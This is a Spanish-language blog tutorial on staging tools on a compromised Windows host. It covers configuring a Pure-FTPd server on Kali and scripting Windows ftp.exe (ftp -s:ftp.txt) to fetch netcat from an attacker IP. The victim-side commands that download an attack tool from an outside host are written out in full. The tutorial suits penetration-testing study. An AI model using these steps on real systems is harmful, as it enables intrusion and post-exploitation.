Subir Archivos Hacia Un Sistema Comprometido Utilizando FTP

Los sistemas operativos Windows contienen por defecto un cliente FTP, el cual puede también ser utilizado para la transferencia de archivos hacia un sistema comprometido. El cliente FTP es un programa interactivo el cual requiere ingresar entradas. Se requiere por lo tanto intentar resolver este inconveniente, antes de intentar utilizar FTP como un protocolo para la transferencia de archivos.

Al ejecutar el cliente FTP con la opción “-h” se obtiene su ayuda.

C:\> ftp.exe -h

Utilizando la opción “-s:archivo” se puede convertir a la transferencia de archivos FTP en un proceso no interactivo. Esta opción permite especificar un archivo de texto conteniendo comandos FTP; siendo los comandos ejecutados automáticamente luego de iniciar FTP.

Desde la perspectiva del atacante se necesita configurar un servidor FTP, hacia el cual la máquina comprometida se conectará, para luego descargar el archivo requerido.

Pure-FTPd es un servidor FTP libre (BSD), seguro y de alta calidad. No proporciona sonidos ni artilugios inútiles, se enfoca en la eficiencia y facilidad de uso. Proporciona respuestas simples a necesidades comunes, además de características útiles únicas para usuarios personales como también proveedores de hosting. En Kali Linux se instala Pure-ftpd.

# apt-cache search pure-ftpd
# apt-get install pure-ftpd

Antes de cualquier cliente pueda conectarse hacia el servidor FTP, primero es necesario crear un nuevo usuario para Pure-FTPd, además de realizar otros ajustes.

Crear un nuevo grupo de nombre “ftpgroup”.

# groupadd ftpgroup

Crear un nuevo usuario. La opción “-g” define el nombre del grupo inicial para el usuario. La opción “-d” define el valor para el directorio “login” del usuario. La opción “-s” define el nombre de la shell “login” para el usuario.

# useradd -g ftpgroup -d /dev/null -s /etc ftpuser

El comando “pure-pw” gestiona archivos de usuarios virtuales para Pure-FTPd. La opción “useradd” añade un usuario, la opción “-u” define un ID de usuario, la opción “-d” define un directorio donde residirán los archivos a transferir.

La opción “mkdb” permite crear un archivo PureDB. Este comando lee el archivo “/etc/pure-ftpd/pureftpd.passwd” y crea un archivo “/etc/pure-ftpd/pureftpd.pbd” por defecto.

# pure-pw useradd usuarioftp -u ftpuser -d /opt/ftphome
# pure-pw mkdb

Se crea un enlace simbólico del archivo con nombre “60pdb” del archivo “PureBD”.

# cd /etc/pure-ftpd/auth/
# ln -s ../conf/PureDB 60pdb

Se crea el directorio donde residirán los archivos a transferir. Se cambian los permisos a este directorio. Y se inicia el servicio Pure-FTPd.

# mkdir /opt/ftphome
# chown -R ftpuser:ftpgroup /opt/ftphome/
# service pure-ftpd restart

Ya habiendo obtenido previamente un acceso shell en el sistema comprometido, y el servidor FTP configurado adecuadamente, se procede a transferir un archivo.

Copiar en el directorio donde residen los archivos a transferir la herramienta netcat “nc.exe”.

# cp /usr/share/windows-binaries/nc.exe /opt/ftphome/

Ahora se deben copiar los comandos FTP hacia un archivo de nombre “ftp.txt”, los cuales serán ejecutados de manera no interactiva.

C:\>echo open 192.168.0.46 21> ftp.txt
C:\>echo usuarioftp>>ftp.txt
C:\>echo 123456>> ftp.txt
C:\>echo bin>> ftp.txt
C:\>echo GET nc.exe>> ftp.txt
C:\>echo bye>> ftp.txt

Ejecutar el comando ftp con la opción “-s:ftp.txt”, lo cual permitirá descargar el archivo de nombre “nc.exe” (netcat) desde el servidor del atacante hacia el sistema comprometido.

C:\>ftp -s:ftp.txt

Si todo se ha realizado correctamente, el archivo nc.exe (netcat) ya reside en el sistema comprometido. netcat puede ser utilizado para realizar diversos procesos posteriores a la explotación.

Fuentes:

https://www.w3.org/Protocols/rfc959/
https://www.pureftpd.org/project/pure-ftpd
https://download.pureftpd.org/pub/pure-ftpd/doc/README.Virtual-Users
https://sourceforge.net/projects/nc110/

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s